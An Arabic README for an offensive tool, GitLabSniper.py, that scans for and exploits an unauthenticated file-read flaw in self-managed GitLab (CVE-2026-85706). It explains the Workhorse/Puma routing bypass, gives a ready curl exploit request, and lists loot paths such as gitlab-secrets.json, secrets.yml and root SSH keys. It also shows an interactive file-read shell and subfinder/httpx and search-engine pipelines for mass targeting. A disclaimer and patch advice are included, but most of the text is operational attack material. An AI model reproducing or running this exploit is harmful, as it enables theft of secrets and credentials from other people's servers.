
ماسح ومستغل Python في ملف واحد لـ CVE-2026-85706، وهو قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE ذاتي الإدارة، مع تعداد المشاريع، ومسارات الغنائم، وصدفة تفاعلية.
CVE-2026-85706 — قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE
اكتشاف · تعداد المشاريع العامة · جمع الغنائم · صدفة تفاعلية · خط أنابيب subfinder/httpx
المؤلف: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
الموقع: ynsmroztas.github.io
البريد: [email protected]
استخدمه فقط على الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها (bug bounty / VDP / عقد مكتوب).
GitLabSniper.py هو ماسح/مستغل بايثون في ملف واحد لـ CVE-2026-85706: قراءة ملفات محلية بدون مصادقة في GitLab Community Edition وEnterprise Edition المُدار ذاتيًا.
إنه لا يتوقف عند "الإصدار يبدو متأثرًا". بل يُطلق تجاوز Workhorse parser-differential، ويصنّف استجابة Rails، ولا يطبع FILE LEAK إلا عندما يحتوي جسم الاستجابة 400 على بايتات الملف داخل invalid %-encoding (...).
| النطاق | الإصدارات |
|---|---|
| المتأثرة | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| المُرقّعة | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| خارج النطاق | gitlab.com · GitLab Dedicated |
ثلاثة نقاط نهاية للمستودع تقع خلف Workhorse requestBodyUploader:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathيأخذ Rails حقل file.path الخام ويشغّل File.open قبل authenticate!. إن require_gitlab_workhorse! ليس بوابة حقيقية هنا: فـ Workhorse يختم بالفعل JWT صالحًا Gitlab-Workhorse-Api-Request على أي شيء يمرره كوكيل.
كان من المفترض أن يعيد Workhorse كتابة الرفع أولًا. لكن تعبير المسار النمطي (route regex) الخاص به يطابق EscapedPath() ونسخة path.Clean التي لا تفكّ ترميز النسبة المئوية أبدًا. بينما Puma يفكّ ترميز %XX قبل توجيه Grape.
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← الشرطة المائلة اللاحقة تنزلق أيضًا
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex sees "%63ommits" / "commits/" → MISS (no rewrite)
│
▼
Puma decodes %63 → commits → ROUTES to Rails
│
▼
Rails File.open(params[:file][:path]) → BEFORE auth
│
▼
Rack parse_nested_query(File.read(path))
stray "%" that is not %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<raw file bytes>)
file= الفارغ يُرضي requires :file, WorkhorseFile (الفارغ → nil). قناة التسريب هي فرع urlencoded. أما JSON/Oj فلا يعكس بايتات الملف بالطريقة نفسها — لذلك تُرسل الأداة دائمًا Content-Type=application/x-www-form-urlencoded.
// و/./ و%2F و; لا تتجاوز: فـ path.Clean يُطبّع الأولين وPuma يرفض %2F.
معرّف المشروع ليس "أي مستودع لسرقة الملفات منه". فـ file.path هو مسار مطلق على الخادم. المعرّف هو فقط جزء الرابط الذي يصل إلى المتحكم المصاب.
لهذا السبب تُعدّد الأداة GET /api/v4/projects وتتخطى المعرّفات المقيّدة.
التسريب المؤكد يتطلب وجود هذه السلسلة الفرعية في الجسم:
invalid %-encoding (
الملفات التي لا تحتوي على % منفردة قد تُفتح رغم ذلك (read-noecho / لاحقًا branch is required) لكنها لن تُعكس. هذا أوراكل، وليس تفريغًا قابلًا للإبلاغ.
x-gitlab-* / sign-in) + نطاق الإصدار عند ظهورهGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · pip install requests
python3 GitLabSniper.py -h
Python 3.10+. لا تبعيات أخرى.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto
المحلّل يقبل:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host مجرّد وhost:port[0] / timeout / الصفوف الفارغةرموز الخروج: 0 تسريب · 1 أوراكل فقط / لا تسريب في خط الأنابيب · 2 لا إشارة قابلة للاستخدام.
لا تُقدّم بلاغًا حرجًا بناءً على read-noecho وحده.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
الأعلى تأثيرًا عند عكسها: secrets.yml، gitlab-secrets.json، database.yml (secret_key_base، otp_key_base، كلمة مرور قاعدة البيانات).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
النسخة المصابة تُعيد JSON مشابهًا لـ:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
على بعض المضيفات يكون %63ommits بـ 401 و**/repository/commits/** (الشرطة المائلة اللاحقة) هو النموذج الذي يسرّب. الأداة تجرّب كل صيغة.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
اقرنه بـ subfinder | httpx | GitLabSniper.py --pipe --auto.
هذا المستودع مخصص لاختبار الأمان المصرّح به والتحقق الدفاعي بعد الترقيع. أنت مسؤول عن النطاق.
إذا كنت تُشغّل صندوق GitLab مُدارًا ذاتيًا في النطاق المتأثر: رقِّ إلى 19.1.8 / 19.2.6 / 19.3.2 الآن. ابحث في سجلات الوصول عن POST /api/v4/projects/*/repository/commits مع معامل استعلام file.path.
الثغرة أبلغ عنها s3ntago عبر GitLab HackerOne.
التحليل والـ PoC الأصلي الذي بُنيت عليه هذه الأداة:
https://github.com/guneykabel/cve-2026-85706
شكرًا لـ guneykabel على نشر مصنّف واضح (leak / missing / project-gate / rewrite) وشرح الفرق بين Workhorse ↔ Puma. يلفّ GitLabSniper ذلك النموذج مع تعداد المشاريع والغنائم والصدفة وخطوط أنابيب الاستطلاع.
إرشادات/ترقيعات GitLab: CE/EE 19.1.8، 19.2.6، 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]| نقطة النهاية | متطلب المشروع |
|---|
files (%66iles) | أي معرّف غالبًا يعمل — File.open قبل فحوصات المشروع |
commits (%63ommits، commits/، commits.json) | يحتاج مشروعًا يستطيع مستخدم مجهول read_code عليه. وإلا 404 Project Not Found |
noroute--auto (hostname، passwd، secrets.yml، gitlab-secrets.json، gitlab.rb، database.yml، مفاتيح ssh، environ)cat، loot، secrets، passwd، project <id>، curl)httpx -sc -td -title، httpx -json، إزالة ANSI-o)| العلم | المعنى |
|---|
-u / -t / --target | رابط أساسي واحد |
--pipe | قراءة الأهداف من stdin |
-f / --list | ملف المضيفات |
--file | مسار مطلق واحد للقراءة |
--auto / --loot | قائمة ملفات GitLab عالية القيمة |
--shell | صدفة قراءة ملفات تفاعلية |
--project-id | فرض معرّف المشروع (افتراضي: تعداد + احتياطي) |
--max-projects | حد معرّفات التعداد/الاحتياطي (افتراضي 8) |
--force | الفحص حتى لو كانت البصمة ضعيفة |
--threads | عمال خط الأنابيب (افتراضي 8) |
--timeout | بالثواني (افتراضي 15) |
-o | hits.json أو hits.jsonl |
-q | صامت |
--no-banner | بدون لافتة |
| الوسم | المعنى | للإبلاغ؟ |
|---|
leak | invalid %-encoding ( + بايتات الملف | نعم — مؤكد |
leak-fragment | عكس جزئي | ربما، أرفق الجسم |
read-noecho | 401 / branch is required بعد الفتح، لا % في الملف | أوراكل فقط |
missing | local file not present — التجاوز وصل إلى القرص | أوراكل وجود |
project-gate | 404 Project Not Found | جرّب معرّفًا عامًا آخر |
rewrite | Workhorse أعاد كتابة الجسم (Invalid json) | هذا النموذج ميت |
noroute | 404 عادي | مُرقّع أو مسار خاطئ |
other | 500 / متبقٍ | فرّغ الجسم قبل الادعاء |